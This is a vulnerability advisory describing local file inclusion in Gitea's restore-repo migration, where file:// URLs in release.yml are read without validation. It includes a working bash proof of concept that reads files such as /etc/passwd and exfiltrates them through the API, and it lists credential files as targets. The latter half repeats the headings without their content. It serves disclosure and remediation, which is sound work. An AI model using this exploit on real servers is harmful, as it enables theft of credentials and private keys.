Local File Inclusion via file:// URI in Migration Restore
Target: go-gitea/gitea
Component: services/migrations/gitea_uploader.go, modules/uri/uri.go
Severity: High
Affected Versions: <= v1.22.x (all releases), master as of latest commit
Researchers:
Summary
Gitea's restore-repo command processes release.yml files from a user-supplied archive. The DownloadURL field in each release attachment is passed to uri.Open() without scheme validation. Because uri.Open() supports the file:// scheme via os.Open(), an operator-level attacker can plant a crafted release.yml to exfiltrate arbitrary files from the server filesystem as release attachments.
Impact
An attacker who can supply a crafted archive to the restore-repo command can read any file accessible to the Gitea process user on the host filesystem. Sensitive targets include:
- app.ini — containing database passwords and secret keys
- SSH private keys (~/.ssh/id_rsa, /etc/ssh/ssh_host_*)
- TLS certificates and private keys
- Cloud provider credential files (e.g. ~/.aws/credentials)
- Any other file readable by the Gitea process user
The exfiltrated content is silently stored as a release attachment and retrievable via the Gitea API.
Affected Code
modules/uri/uri.go
func Open(rawURL string) (io.ReadCloser, error) {
u, err := url.Parse(rawURL)
if err != nil {
return nil, err
}
switch u.Scheme {
case "http", "https":
resp, err := http.Get(rawURL)
...
case "file":
return os.Open(u.Path) // no scheme validation, no path restriction
}
}
services/migrations/gitea_uploader.go (~line 370)
func (g *GiteaLocalUploader) CreateReleases(releases ...*base.Release) error {
for _, rel := range releases {
for _, asset := range rel.Assets {
rc, err := uri.Open(asset.DownloadURL) // user-controlled, unvalidated
...
// file content saved as release attachment
}
}
}
Attack Scenario
An attacker with admin or operator access (or the ability to supply a crafted archive to an admin who runs restore-repo) can:
- Create a malicious archive containing release.yml:
releases:
- tag_name: v0.0.1
assets:
- name: exfiltrated.txt
download_url: "file:///etc/passwd"
- Run restore:
gitea restore-repo --zip-path ./malicious.zip --owner target-org --repo test-repo
-
The server reads /etc/passwd and stores it as a release attachment named exfiltrated.txt.
-
Retrieve via API:
curl -s "http://gitea.example.com/api/v1/repos/target-org/test-repo/releases/latest/assets" \
-H "Authorization: token ADMIN_TOKEN" | jq -r '.[].browser_download_url'
PoC
Note: restore-repo must be executed on the host running the Gitea instance, or by an operator with direct server access.
#!/usr/bin/env bash
# PoC: Gitea LFI via release.yml DownloadURL
# Requires: admin credentials, gitea binary on PATH (server host)
GITEA_URL="${1:-http://localhost:3000}"
ADMIN_TOKEN="${2:-REPLACE_ME}"
TARGET_FILE="${3:-/etc/passwd}"
OWNER="test-org"
REPO="lfi-test"
1. Create target org and repo via API
curl -sf -X POST "$GITEA_URL/api/v1/orgs" \
-H "Authorization: token $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"username\":\"$OWNER\",\"visibility\":\"private\"}" || true
curl -sf -X POST "$GITEA_URL/api/v1/user/repos" \
-H "Authorization: token $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"name\":\"$REPO\",\"private\":true,\"auto_init\":true}" || true
2. Build malicious archive
TMP=$(mktemp -d)
mkdir -p "$TMP/bundles/$OWNER/$REPO"
cat > "$TMP/bundles/$OWNER/$REPO/release.yml" <<YAML
releases:
- tag_name: v0.0.1
name: test
body: ""
draft: false
prerelease: false
assets:
- name: output.txt
download_url: "file://$TARGET_FILE"
size: 0
download_count: 0
YAML
cd "$TMP" && zip -r poc.zip bundles/
3. Trigger restore
gitea restore-repo \
--zip-path "$TMP/poc.zip" \
--owner "$OWNER" \
--repo "$REPO" \
--units release 2>&1
4. Retrieve exfiltrated content
echo "[*] Fetching exfiltrated content..."
RELEASE_ID=$(curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases?limit=1" \
-H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].id')
curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases/$RELEASE_ID/assets" \
-H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].browser_download_url' | \
xargs -I{} curl -sf "{}" -H "Authorization: token $ADMIN_TOKEN"
rm -rf "$TMP"
Root Cause
uri.Open() was designed as an internal utility to support both remote (http/https) and local (file://) resources during migrations. This dual-scheme design is intentional for same-host migration workflows. However, the function is also invoked in gitea_uploader.go on the DownloadURL field sourced directly from user-supplied archive content, with no validation that the scheme is restricted to http or https. The absence of any allowlist or scheme check at the call site creates a direct, exploitable path from attacker-controlled input to arbitrary server-side file reads.
Fix Recommendation
In services/migrations/gitea_uploader.go, validate asset.DownloadURL before calling uri.Open():
parsed, err := url.Parse(asset.DownloadURL)
if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
log.Warn("Skipping release asset with non-HTTP URL: %s", asset.DownloadURL)
continue
}
rc, err := uri.Open(asset.DownloadURL)
Alternatively, replace calls to uri.Open() in the migration path with a dedicated HTTP-only fetcher to eliminate the file:// code path entirely from user-controlled contexts.
Workaround
Until a patch is available, operators should:
- Restrict restore-repo execution to fully trusted operators only
- Audit all archive contents manually before running restoration
- Review existing release attachments for unexpected or sensitive filenames
Isa Can
Security Researcher — Eresus Security
https://github.com/isa0-gh
Yigit Ibrahim
Security Researcher — Eresus Security
https://github.com/ibrahmsql
References
Local File Inclusion via file:// URI in Migration Restore
Target: go-gitea/gitea
Component: services/migrations/gitea_uploader.go, modules/uri/uri.go
Severity: High
Affected Versions: <= v1.22.x (all releases), master as of latest commit
Researchers:
Summary
Gitea's restore-repo command processes release.yml files from a user-supplied archive. The DownloadURL field in each release attachment is passed to uri.Open() without scheme validation. Because uri.Open() supports the file:// scheme via os.Open(), an operator-level attacker can plant a crafted release.yml to exfiltrate arbitrary files from the server filesystem as release attachments.
Impact
An attacker who can supply a crafted archive to the restore-repo command can read any file accessible to the Gitea process user on the host filesystem. Sensitive targets include:
The exfiltrated content is silently stored as a release attachment and retrievable via the Gitea API.
Affected Code
modules/uri/uri.go
services/migrations/gitea_uploader.go (~line 370)
Attack Scenario
An attacker with admin or operator access (or the ability to supply a crafted archive to an admin who runs restore-repo) can:
The server reads /etc/passwd and stores it as a release attachment named exfiltrated.txt.
Retrieve via API:
PoC
1. Create target org and repo via API
2. Build malicious archive
3. Trigger restore
4. Retrieve exfiltrated content
Root Cause
uri.Open() was designed as an internal utility to support both remote (http/https) and local (file://) resources during migrations. This dual-scheme design is intentional for same-host migration workflows. However, the function is also invoked in gitea_uploader.go on the DownloadURL field sourced directly from user-supplied archive content, with no validation that the scheme is restricted to http or https. The absence of any allowlist or scheme check at the call site creates a direct, exploitable path from attacker-controlled input to arbitrary server-side file reads.
Fix Recommendation
In services/migrations/gitea_uploader.go, validate asset.DownloadURL before calling uri.Open():
Workaround
Until a patch is available, operators should:
Isa Can
Security Researcher — Eresus Security
https://github.com/isa0-gh
Yigit Ibrahim
Security Researcher — Eresus Security
https://github.com/ibrahmsql
References